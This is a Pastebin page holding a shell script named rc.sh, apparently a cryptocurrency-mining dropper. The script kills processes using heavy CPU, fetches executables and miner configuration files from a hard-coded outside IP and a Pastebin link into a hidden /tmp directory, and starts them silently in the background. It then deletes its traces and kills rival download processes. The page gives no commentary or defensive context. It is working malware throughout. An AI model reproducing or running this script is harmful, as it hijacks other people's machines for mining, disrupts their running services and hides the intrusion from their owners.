Advertisement
Guest User

rc.sh

a guest
Mar 27th, 2019
671
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.65 KB | None | 0 0
  1. #!/bin/sh
  2. export no_proxy="139.99.120.75,132.148.148.79,132.148.148.79,139.224.20.173"
  3. #ps aux | grep -v root | grep -v python | grep -v perl | awk '$3>10.0{print $2}' | xargs kill -9
  4. ps aux  | awk '$3>10.0{print $2}' | xargs kill -9
  5. pgrep -f ./atd|xargs kill -9
  6. ip="http://132.148.148.79/plus"
  7. mkdir /tmp/.dbb
  8. Check() { curl -sSLkf $1 -o $2 || wget --no-check-certificate $1 -O $2 || python -c "import urllib;urllib.urlretrieve('$1', '$2')";};
  9. Check2() { curl -sSLkf $1 -o $2 || wget --no-check-certificate $1 -O $2 || python -c "import urllib;urllib.urlretrieve('$1', '$2')";};
  10. Check "$ip/java" "/tmp/.dbb/dblaunchs_0xBB040";
  11. Check "$ip/javad" "/tmp/.dbb/dblaunchs_0xBB041";
  12. Check "$ip/java2" "/tmp/.dbb/dblaunchs_0xBB042";
  13. Check "$ip/java3" "/tmp/.dbb/dblaunchs_0xBB043";
  14. #Check "$ip/javas" "/tmp/.dbb/libxmrstak_opencl_backend.so";
  15. Check "$ip/javacj" "/tmp/.dbb/config.json";
  16. Check "$ip/javacf" "/tmp/.dbb/config.txt";
  17. Check "$ip/javacp" "/tmp/.dbb/cpu.txt";
  18. Check "$ip/javapo" "/tmp/.dbb/pools.txt";
  19. chmod 755 /tmp/.dbb/dblaunchs_0xBB040
  20. chmod 755 /tmp/.dbb/dblaunchs_0xBB041
  21. chmod 755 /tmp/.dbb/dblaunchs_0xBB042
  22. chmod 755 /tmp/.dbb/dblaunchs_0xBB043
  23. #chmod 755 /tmp/.dbb/libxmrstak_opencl_backend.so
  24. chmod 755 /tmp/.dbb/config.json
  25. chmod 755 /tmp/.dbb/config.txt
  26. chmod 755 /tmp/.dbb/cpu.txt
  27. chmod 755 /tmp/.dbb/pools.txt
  28. rm -rf /tmp/.dbb/config.json
  29. Check2 "https://pastebin.com/raw/KTzbEcjg" "/tmp/.dbb/config.json";
  30. cd /tmp/.dbb/
  31. ORG=$PATH
  32. export PATH=/tmp/.dbb/:$PATH
  33. dblaunchs_0xBB040 2>/dev/null >&- <&- >/dev/null &
  34. dblaunchs_0xBB041 2>/dev/null >&- <&- >/dev/null &
  35. dblaunchs_0xBB042 2>/dev/null >&- <&- >/dev/null &
  36. dblaunchs_0xBB043 2>/dev/null >&- <&- >/dev/null &
  37.  
  38. export PATH=$ORG
  39. sleep 10
  40.  
  41. dblaunchs_1=$(ps aux | grep -v grep | grep dblaunchs_0xBB040 | awk '{print $2}')
  42. dblaunchs_2=$(ps aux | grep -v grep | grep dblaunchs_0xBB041 | awk '{print $2}')
  43. dblaunchs_3=$(ps aux | grep -v grep | grep dblaunchs_0xBB042 | awk '{print $2}')
  44.  
  45. if [ $dblaunchs_1 -gt 1 ]; then
  46.     kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3;
  47.     rm -rf /tmp/.dbb/dblaunchs_0xBB041 /tmp/.dbb/dblaunchs_0xBB042
  48.     mv /tmp/.dbb/dblaunchs_0xBB040 /tmp/.dbb/dblaunchs
  49. fi
  50.  
  51. if [ $dblaunchs_2 -gt 1 ]; then
  52.     kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3;
  53.     rm -rf /tmp/.dbb/dblaunchs_0xBB040 /tmp/.dbb/dblaunchs_0xBB042
  54.     mv /tmp/.dbb/dblaunchs_0xBB041 /tmp/.dbb/dblaunchs
  55. fi
  56.  
  57. if [ $dblaunchs_3 -gt 1 ]; then
  58.     kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3;
  59.     rm -rf /tmp/.dbb/dblaunchs_0xBB040 /tmp/.dbb/dblaunchs_0xBB041
  60.     mv /tmp/.dbb/dblaunchs_0xBB042 /tmp/.dbb/dblaunchs
  61. fi
  62.  
  63.  
  64. export PATH=/tmp/.dbb/:$PATH
  65. dblaunchs 2>/dev/null >&- <&- >/dev/null &
  66. export PATH=$ORG
  67. sleep 15
  68.  
  69. rm -rf /tmp/.dbb/dblaunchs
  70. rm -rf /tmp/.dbb/dblaunchs_0xBB043
  71. rm -rf /tmp/.dbb/config.json
  72. rm -rf /tmp/.dbb/config.txt
  73. rm -rf /tmp/.dbb/cpu.txt
  74. rm -rf /tmp/.dbb/pools.txt
  75. rm -rf /tmp/.dbb/libxmrstak_opencl_backend.so
  76. rm -rf /tmp/rc6
  77. rm -rf /tmp/rc7
  78. rm -rf /tmp/open
  79. rm -rf /tmp/ng
  80. ps aux | grep -v grep | grep "curl"|grep "/plus/nx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
  81. ps aux | grep -v grep | grep "curl"|grep "/plus/kok"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
  82. ps aux | grep -v grep | grep "curl"|grep "/plus/wow"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
  83. ps aux | grep -v grep | grep "curl"|grep "/plus/rc7"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
  84. ps aux | grep -v grep | grep "curl"|grep "/plus/fxx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
  85.  
  86. ps aux | grep -v grep | grep "wget"|grep "/plus/nx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
  87. ps aux | grep -v grep | grep "wget"|grep "/plus/kok"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
  88. ps aux | grep -v grep | grep "wget"|grep "/plus/wow"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
  89. ps aux | grep -v grep | grep "wget"|grep "/plus/rc7"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
  90. ps aux | grep -v grep | grep "wget"|grep "/plus/fxx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
  91.  
  92. ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/nx"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
  93. ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/kok"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
  94. ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/wow"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
  95. ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/rc7"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
  96. ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/fxx"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement